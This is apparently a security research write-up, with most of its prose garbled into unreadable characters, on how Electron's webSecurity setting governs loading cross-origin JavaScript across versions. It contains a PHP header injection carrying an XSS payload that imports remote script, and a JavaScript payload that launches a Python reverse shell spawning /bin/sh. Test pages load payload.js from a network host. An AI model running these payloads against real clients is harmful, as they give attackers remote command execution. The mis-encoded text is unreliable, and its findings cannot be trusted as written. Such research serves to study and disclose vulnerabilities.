


webSecurity | Electron 㱧⪓  
 

0x01 甏☮  
https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7

%A6%81%E7%94%A8-websecurity

㛻㳄㞑☫㛿饇㛻㳄阥阷氳佭 Electron  氳㱧⪓鿥糌鴲걸 —— webSecurity

鲹㏇╯⯥氳乄珖 վElectron㱧⪓┚✃䡘䕜䕜注⪩տ 免㶩䄖篺䬠⮽鲋▽院鴲걸氳䙬╬佭䋯⻪
⺱嶏瓀樋佭 Electron  氳랸阡⡬ⷊ랸阡ⷊ䋯⻪⺱嶏瓀樋

https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy

╯⯥䡘♜㏇阥阷 Goby  氳庀嬼休䡘♜⹠朆⮵榫氳 Payload 㞝┖

 

test2.js

https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ

 

㏇鲹ꄅ䡘♜嫱䙬⮽䷒糌 Payload  氳㏐亡㏇㛚鼨氳 JavaScript   乄♭豓抆┕ꪫ⫞氳佭 
127.0.0.1  㲓ꡮ佭䘶陱䡘♜䕥䙬僜ⱷ┕氳 JavaScript

<?php

header("X-Powered-By: PHP/<img  src=\"x\"       

onerror=import(unescape('http%3A//127.0.0.1/test2.js'))>");

?>

(function(){

require('child_process').exec('open /System/Applications/Calculator.app');

require('child_process').exec('python -c \'import 

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.c

onnect(("127.0.0.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); 

os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'');

})();

第 1 ⻚ / 共 15 ⻚

https://www.electronjs.org/zh/docs/latest/tutorial/security#6-%E4%B8%8D%E8%A6%81%E7%A6%81%E7%94%A8-websecurity
https://mp.weixin.qq.com/s/xEvkvvfA89xeHFKQUqRmEw
https://developer.mozilla.org/zh-CN/docs/Web/Security/Same-origin_policy
https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ


塜䅻全陱鲹熨⮵榫佭┘⚢䡗Ⱶ氳㍕╙僗⺱嶏瓀樋氳꡿⯆⛙佭⺵全䡘♜⹠朆縏撷儗氳 
Goby  侁䌋㏐㵨 webSecurity  阻糌╙▽ false  ┘抆⮵榫氳陚鲸⚢⫋ꥈ┉◙
 

0x02 㱧⪓䷞冽孾陒  
鲹╄㲓뀰꧎金⮇╙允╄鼨⮇鲹█佭䡘孾陒鲋爊免⹠朆氳㵸ꠋ겗
鲾爊䕥䙬氳 JavaScript  僜ⱷ

孾陒鲋爊免儔阻糌 CSP  瓀樋鹵⩦䏆⿏篾冽
 

孾陒䓙饟䏭甏⶝㶩佭波䫙阦 index.html  免ⱶ鰉㞝┖♏溞

㞝冽⺎♔䡗Ⱶⱶ鰉㶩⚢㏇건ꪫ免侁炐 Remote code is running.

 

1. 儗㏐ⱶ鰉孾陒⺱嶏瓀樋  

index.html

<img src="x" onerror="import(unescape('http://192.168.31.216/payload.js'))" 

/>

<!DOCTYPE html>

<html lang="en">

<head>

  <meta charset="UTF-8">

  <meta name="viewport" content="width=device-width, initial-scale=1.0">

  <title>Web Security Test</title>

</head>

<body>

  <h1>Web Security Test</h1>
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main.js

  <div id="local-js"></div>

  <hr>

  <div id="remote-js"></div>

  <!-- 跨源脚本 -->

  <img src="x" 

onerror="import(unescape('http://192.168.31.216/payload.js'))" />

  <script>

    document.getElementById('local-js').innerText ="Local code is 

runnning."

  </script>

</body>

</html>

// Modules to control application life and create native browser window

const { app, BrowserWindow } = require('electron')

const path = require('path')

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 800,

    height: 600,

    webPreferences: {

      webSecurity: true,

      // preload: path.join(__dirname, 'preload.js')

    }

  })

  mainWindow.loadFile('index.html')

}

app.whenReady().then(() => {

  createWindow()
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webSecurity: false  

䎎 webSecurity  阻糌╙ false  休

  app.on('activate', function () {

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})
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㏇ Electron 5.0、10.0、30.0  撷儗免㏰⺎♔䡗Ⱶ䣮车鲾爊 JavaScript   ♏溞 

 

webSecurity: true  
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㏇ Electron 5.0、10.0、30.0  撷儗免㏰⺎♔䡗Ⱶ䣮车鲾爊 JavaScript   ♏溞 

 

㵸篾  

㏇儗㏐ⱶ鰉 index.html  氳休⠯㏇儗㏐顫嶏免ⱶ鰉㛚鼨 JavaScript  佭┘⹨ 
webSecurity  䏆⿏氳
 

2. 鲾爊ⱶ鰉孾陒⺱嶏瓀樋  

㵨 index.html  ䷒⮽⶝斻氳僜ⱷ┕ http://192.168.31.185:8080/index.html

main.js

// Modules to control application life and create native browser window

const { app, BrowserWindow } = require('electron')

const path = require('path')

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 800,

    height: 600,

    webPreferences: {

      webSecurity: true,

      // preload: path.join(__dirname, 'preload.js')

    }

  })

  

  mainWindow.loadURL('http://192.168.31.185:8080/index.html')

  // Open the DevTools.

  mainWindow.webContents.openDevTools()

}

app.whenReady().then(() => {

  createWindow()
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webSecurity: false  

  app.on('activate', function () {

    // On macOS it's common to re-create a window in the app when the

    // dock icon is clicked and there are no other windows open.

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})
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鲹ꄅ㶩⭴朆▽┉╄僗飯氳朆霅⪩ꠊ▽ webSecurity  ⺵㏇ 10.0  免珔抆鲸佭鲾爊ⱶ鰉 
JavaScript  㜊題▽⛙佭㏇ 5.0  ⽰ 30.0  免㏰䡗Ⱶ▽鲹䈒院佭 Electron  氳┉╄ 
bug
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webSecurity: true  
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䋯⻪▽ webSecurity  ⺵辑朆⠡佭┉舚氳㏰ꡢ䦨▽饖㓊氳顫嶏陴姳
 

辍⩘孾陒  

豓抆 Electron  免鲹╄ bug  ┘佭䏭ꄆ金⛙佭䡘♜鲸佭辍⩘孾陒┉┖⮽䈔佭⿵◙撷儗㰇
㏇院 bug
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Electron 11.0.0  免院 bug  䄖篺⟤㛄

Electron 10.1.3  免院 bug  䄖篺⟤㛄
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Electron 10.1.2  免院 bug  㰇㏇䢦♔佭㏇ ELectron 10.1.3  免逈⟤㛄䡘♜洇┉┖㏇
⿵╄撷儗免䋯㡏㰇㏇
 

Electron 9.0.0  免䄖篺㰇㏇院 bug
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Electron 8.5.5  撷儗免┘㰇㏇院 bug

㍕塝㰇㏇院 bug  氳撷儗╙ Electron 9.0.0 ~ 10.1.2

 

㵸篾  

㏇鲾爊ⱶ鰉氳䎬䌋⮡䋧猫⹾休 webSecurity  氳䋯㡏颯⛼榫阻糌╙ true  休⺱嶏瓀樋
僗䷞䎎阻糌╙ false  休  Electron 9.0.0 ~ 10.1.2  ❤仾㰇㏇⺱嶏瓀樋ꢝ♔┕撷儗
㛚⺱嶏瓀樋㏰㜊䷞
 

0x03 䔅篾  
Electron  걸泘免奃鰏䅻鈷氳鵠鲋 loadFile('index.html')  ⮡䋧猫⹾休 webSecurity  
鴲걸䇜媆僗榫⺎♔ⱶ鰉 file://  ⽰ http://  鲹熨儗㏐䡝鲾爊氳 JavaScript  

䎎鵠鲋 loadURL  ⱶ鰉鲾爊건ꪫ⮡䋧猫⹾休 webSecurity  鴲걸僗䷞랸阡鿥糌╙ true 
⡬╙ true  休⺱嶏瓀樋僗䷞;䎎⡬╙ false  休㏇ Electron 9.0.0 ~ 10.1.2  撷儗免
⪩ꠊ⺱嶏瓀樋㜊題⺱嶏瓀樋☱抆僗䷞鲹佭┉╄ bug  ꢝ┕鳮撷儗♔㛚㏰⚢⪩ꠊ⺱嶏瓀
樋⩒阵饖㓊ⱶ鰉 JavaScript

꧎金嫱䙬氳佭ⱶ鰉顫嶏鲹╄◄鲸⚢⹨ CSP (⫂㳋㱧⪓瓀樋) 氳䏆⿏乄免氳孾陒㏰╙儔阻糌 
CSP  休氳䗯⬅
 

랸阡⡬氳休ꠑ篪㞝┖
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